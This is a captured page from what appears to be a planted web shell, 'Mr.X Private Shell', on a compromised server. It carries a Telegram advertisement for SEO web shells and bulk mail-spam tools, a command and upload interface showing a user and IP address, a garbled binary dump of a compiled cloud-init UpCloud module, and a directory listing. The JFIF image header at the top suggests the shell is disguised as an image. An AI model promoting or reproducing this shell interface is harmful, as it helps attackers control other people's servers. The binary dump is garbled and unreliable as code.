����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg��@s�ddlZddlmZddlmZmZddlmZddlm	Z	ddl
mZe�
e�ZddiZd	Zd
Zd
ZGdd�dej�ZGd
d�de�ZeejffeejejffgZdd�ZdS)�N)�net)�sources�util)�NoDHCPLeaseError)�EphemeralDHCPv4)�upcloud�metadata_urlz'http://169.254.169.254/metadata/v1.json��c@sHeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
d��ZdS)�DataSourceUpCloud�UpCloudFcCs�tj�||||�||_t�|_t�t�|ddgi�t	g�|_
|j
d|_|j
�dt
�|_|j
�dt�|_|j
�dt�|_d|_d|_dS)NZ
datasourcerr�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatarZ
mergemanydictZget_cfg_by_path�BUILTIN_DS_CONFIGZds_cfg�metadata_address�get�
MD_RETRIESr
�
MD_TIMEOUTr�
MD_WAIT_RETRYr�_network_config�
metadata_full)�self�sys_cfgr�paths�r �G/usr/lib/python3.9/site-packages/cloudinit/sources/DataSourceUpCloud.pyr"s��zDataSourceUpCloud.__init__cCst��S�N)�	uc_helperZread_sysinfo�rr r r!�_get_sysinfo3szDataSourceUpCloud._get_sysinfocCstj|j|j|j|jd�S)N)rZsec_betweenr
)r#Z
read_metadatarrrr
r$r r r!�_read_metadata6s�z DataSourceUpCloud._read_metadatac
Cs�|��\}}|sdSt�d|�|jr�zVt�d�t��}t�d|�t|j|��|�	�}Wd�n1sp0YWn<t
tjfy�}zt
�tt|��WYd}~dSd}~00n^zt�d�|�	�}WnFtj�y}z*t
�tt|��t�d|�WYd}~dSd}~00||_|�d|�|jd<|�d	�|jd
<|�d�|jd<|�d�|jd
<|�dd�|jd<|�dd�|_|�dd�|_dS)NFz"Running on UpCloud. server_uuid=%szFinding a fallback NICz*Discovering metadata via DHCP interface %sz7Discovering metadata without DHCP-configured networkingzENo DHCP-enabled interfaces available, unable to fetch metadata for %sZinstance_idzinstance-id�hostnamezlocal-hostname�networkZpublic_keyszpublic-keysZregion�defaultZavailability_zoneZvendor_dataZ	user_dataT)r%�LOG�info�perform_dhcp_setup�debug�cloudnetZfind_fallback_nicrrr&rrZInvalidMetaDataExceptionrZlogexc�strrrrZvendordata_rawZuserdata_raw)rZ
is_upcloudZserver_uuidZnicZmd�er r r!�	_get_data>sF
*��zDataSourceUpCloud._get_datacCst�|���Sr")rZinstance_id_matches_system_uuidZget_instance_id)rrr r r!�check_instance_idksz#DataSourceUpCloud.check_instance_idcCs6|jr|jS|j�d�}|s$td��t�|�|_|jS)z�
        Configure the networking. This needs to be done each boot,
        since the IP and interface information might have changed
        due to reconfiguration.
        r(z/Unable to get network meta-data from server....)rrr�RuntimeErrorr#Zconvert_network_config)rZraw_network_configr r r!�network_configns��z DataSourceUpCloud.network_configN)�__name__�
__module__�__qualname__Zdsnamer,rr%r&r1r2�propertyr4r r r r!rs-rc@seZdZdZdZdS)�DataSourceUpCloudLocalaz
    Run in init-local using a DHCP discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)r5r6r7�__doc__r,r r r r!r9�s	r9cCst�|t�Sr")rZlist_from_depends�datasources)Zdependsr r r!�get_datasource_list�sr<)ZloggingZ	cloudinitrr.rrZcloudinit.net.dhcprZcloudinit.net.ephemeralrZcloudinit.sources.helpersrr#Z	getLoggerr5r*rrrrrrr9ZDEP_FILESYSTEMZDEP_NETWORKr;r<r r r r!�<module>s 
k
�

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-39.opt-1.pyc File 8.32 KB 0644
DataSourceAkamai.cpython-39.pyc File 8.32 KB 0644
DataSourceAliYun.cpython-39.opt-1.pyc File 12.02 KB 0644
DataSourceAliYun.cpython-39.pyc File 12.02 KB 0644
DataSourceAltCloud.cpython-39.opt-1.pyc File 7.04 KB 0644
DataSourceAltCloud.cpython-39.pyc File 7.04 KB 0644
DataSourceAzure.cpython-39.opt-1.pyc File 50.34 KB 0644
DataSourceAzure.cpython-39.pyc File 50.34 KB 0644
DataSourceBigstep.cpython-39.opt-1.pyc File 1.92 KB 0644
DataSourceBigstep.cpython-39.pyc File 1.92 KB 0644
DataSourceCloudCIX.cpython-39.opt-1.pyc File 4.68 KB 0644
DataSourceCloudCIX.cpython-39.pyc File 4.68 KB 0644
DataSourceCloudSigma.cpython-39.opt-1.pyc File 3.7 KB 0644
DataSourceCloudSigma.cpython-39.pyc File 3.7 KB 0644
DataSourceCloudStack.cpython-39.opt-1.pyc File 8.2 KB 0644
DataSourceCloudStack.cpython-39.pyc File 8.2 KB 0644
DataSourceConfigDrive.cpython-39.opt-1.pyc File 8.37 KB 0644
DataSourceConfigDrive.cpython-39.pyc File 8.37 KB 0644
DataSourceDigitalOcean.cpython-39.opt-1.pyc File 3.79 KB 0644
DataSourceDigitalOcean.cpython-39.pyc File 3.79 KB 0644
DataSourceEc2.cpython-39.opt-1.pyc File 27.39 KB 0644
DataSourceEc2.cpython-39.pyc File 27.39 KB 0644
DataSourceExoscale.cpython-39.opt-1.pyc File 5.88 KB 0644
DataSourceExoscale.cpython-39.pyc File 5.88 KB 0644
DataSourceGCE.cpython-39.opt-1.pyc File 9.68 KB 0644
DataSourceGCE.cpython-39.pyc File 9.77 KB 0644
DataSourceHetzner.cpython-39.opt-1.pyc File 3.89 KB 0644
DataSourceHetzner.cpython-39.pyc File 3.89 KB 0644
DataSourceIBMCloud.cpython-39.opt-1.pyc File 13.47 KB 0644
DataSourceIBMCloud.cpython-39.pyc File 13.47 KB 0644
DataSourceLXD.cpython-39.opt-1.pyc File 13.61 KB 0644
DataSourceLXD.cpython-39.pyc File 13.61 KB 0644
DataSourceMAAS.cpython-39.opt-1.pyc File 11.65 KB 0644
DataSourceMAAS.cpython-39.pyc File 11.65 KB 0644
DataSourceNWCS.cpython-39.opt-1.pyc File 4.05 KB 0644
DataSourceNWCS.cpython-39.pyc File 4.05 KB 0644
DataSourceNoCloud.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceNoCloud.cpython-39.pyc File 9.92 KB 0644
DataSourceNone.cpython-39.opt-1.pyc File 1.38 KB 0644
DataSourceNone.cpython-39.pyc File 1.38 KB 0644
DataSourceOVF.cpython-39.opt-1.pyc File 9.24 KB 0644
DataSourceOVF.cpython-39.pyc File 9.24 KB 0644
DataSourceOpenNebula.cpython-39.opt-1.pyc File 12.24 KB 0644
DataSourceOpenNebula.cpython-39.pyc File 12.24 KB 0644
DataSourceOpenStack.cpython-39.opt-1.pyc File 7.91 KB 0644
DataSourceOpenStack.cpython-39.pyc File 7.91 KB 0644
DataSourceOracle.cpython-39.opt-1.pyc File 14.58 KB 0644
DataSourceOracle.cpython-39.pyc File 14.58 KB 0644
DataSourceRbxCloud.cpython-39.opt-1.pyc File 7.39 KB 0644
DataSourceRbxCloud.cpython-39.pyc File 7.39 KB 0644
DataSourceScaleway.cpython-39.opt-1.pyc File 10.9 KB 0644
DataSourceScaleway.cpython-39.pyc File 10.9 KB 0644
DataSourceSmartOS.cpython-39.opt-1.pyc File 24.78 KB 0644
DataSourceSmartOS.cpython-39.pyc File 24.78 KB 0644
DataSourceUpCloud.cpython-39.opt-1.pyc File 4.4 KB 0644
DataSourceUpCloud.cpython-39.pyc File 4.4 KB 0644
DataSourceVMware.cpython-39.opt-1.pyc File 23.33 KB 0644
DataSourceVMware.cpython-39.pyc File 23.33 KB 0644
DataSourceVultr.cpython-39.opt-1.pyc File 3.54 KB 0644
DataSourceVultr.cpython-39.pyc File 3.54 KB 0644
DataSourceWSL.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceWSL.cpython-39.pyc File 9.92 KB 0644
__init__.cpython-39.opt-1.pyc File 30.92 KB 0644
__init__.cpython-39.pyc File 30.92 KB 0644